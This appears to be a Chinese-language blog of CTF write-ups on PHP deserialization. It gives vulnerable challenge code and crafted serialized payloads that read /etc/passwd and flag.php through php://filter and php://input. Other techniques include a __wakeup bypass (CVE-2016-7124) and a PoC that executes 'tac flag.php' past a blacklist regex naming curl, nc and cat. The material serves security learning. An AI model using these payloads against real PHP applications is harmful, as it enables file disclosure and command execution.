前言

最近在刷题过程中发现对PHP反序列化的理解还不够深刻,对于其如何通过序列化的漏洞达到执行恶意代码的过程不够清晰,于是我将遇到的PHP反序列化题目整理到这篇文章中,后续将会持续更新

如果对php反序列化的概念还不了解,可以看我之前的文章PHP中的反序列化 | 北轨的博客 (beigui.xyz)

第一题 反序列化和文件包含的简单结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
# 第一部分 包含flag.php
include "flag.php";
#第二部分 创建connection类并传递file参数
class Connection
{
public $file;

public function __construct($file)
{
$this->file = $file;
}

public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}

public function __destruct()
{
include($this->file);
}
}
#接受get传递的un参数,并将其反序列化
if (isset($_GET['un'])) {
$obj2 = unserialize($_GET['un']);
} else {
highlight_file(__file__);
}

根据我添加的注释可以看到代码大体可以分为三个部分,而问题的关键在于我们通过反序列化的方式将数据传递到connection类中的file参数从而实现文件包含。我们本地先创建一个使用与connection相同结构的类,创建序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
class Connection{
public $file;
public function __sleep()
{
$this->file = '/etc/passwd';
return array('file');
}
}
$p = new Connection();
$a = serialize($p);
echo $a;
?>
#代码执行结果序列化数据 O:10:"Connection":1:{s:4:"file";s:11:"/etc/passwd";}

我们将/etc/passwd通过反序列化赋值到file之中,从而验证是否存在文件包含漏洞,根据回显结果证明确实存在漏洞

image-20220623094237826

将参数改为php://filter/read=convert.base64-encode/resource=flag.php从而使用php伪协议,尝试读取flag.php源码,并成功读取

image-20220623094528375

base64解码得到flag

image-20220623094605213

第二题 __wakeup函数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include "flag.php";

class Connection
{
public $file;

public function __construct($file)
{
$this->file = $file;
}

public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}

public function __wakeup()
{
$this->file = 'wakeup.txt';
}

public function __destruct()
{
include($this->file);
}
}

if (isset($_GET['un'])) {
$obj2 = unserialize($_GET['un']);
} else {
highlight_file(__file__);
}

这道题目与上道题目非常相似,区别在于使用__wakeup这个魔法函数,此函数的作用是将在执行unserialize()时,先会调用这个函数,所以我们使用上一道题目的payload执行是回显示wakeup.txt文档中的内容,使用CVE-2016-7124进行绕过,可以参考这篇文章理解这个漏洞。成功绕过魔术方法读取flag.php源码。

image-20220623100043463

第三题 反序列化和file_get_contents()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php  
error_reporting(0);
#第一部分 包含flag.php
include("flag.php");
#第二部分 使用Flag类,并将读取file参数传递过去的文件名的内容
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
# 第三部分 接受txt参数和password参数
$txt = $_GET["txt"];
$password = $_GET["password"];

if(!isset($txt)){
show_source(__FILE__);
exit();
}
if(file_get_contents($txt,'r')==="welcome to the tctf"){
echo "hello friend!<br>";
$password = unserialize($password);
echo $password;
}else{
echo "something wrong! try it again";
}

?>
  • 要想得到flag值–>需要读flag.php页面的源码

  • 要想读flag.php页面的源码–>需要执行file_get_contents($this->file)(很明显,需要执行该函数,且file属性值为flag.php)

  • 要想执行file_get_contents($this->file)函数–>需要执行tostring魔术方法

  • 要想执行tostring魔术方法–>需要当前类的实例化对象被当做字符串处理

  • 要想当前类的实例化对象被当做字符串处理–>需要执行p a s s w o r d = u n s e r i a l i z e ( password = unserialize(password=unserialize(password);echo $password;

  • 要想执行上一步的代码–>需要对传入的txt参数进行绕过过滤

  • 要想绕过过滤–>需要给txt传入php://input伪协议,同时以POST形式提交数据welcome to the aegis

1
2
3
4
5
6
7
8
9
10
<?php  
class Flag{
public $file='flag.php';
}

$chen = new Flag();
echo serialize($chen);
//序列化字符串结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//以GET形式提交的数据:?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//同时以POST提交的数据:welcome to the tctf

image-20220623102337236

bugku题目 安慰奖

知识点:wake_uph函数绕过以及private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->"; #base64解码,backups
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}

function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>

可以看懂题目中构建了class类为ctf其中构造了三个函数,当参数传递到类当中是回执行wake_up函数将username==guest,使__destruct中的条件无法满足,所以我们需要绕过wake_up函数,另外对于protected创建的变量需要对其进行url编码才能使其空白字符可见,从而完成反序列化操作,使用tac函数便可绕过preg_match函数实现读取flag

1
2
3
4
5
6
7
8
9
#poc
class ctf{
protected $username='admin';
protected $cmd='tac flag.php';
}
$p = new ctf();
$res = serialize($p);
echo urlencode($res);
?>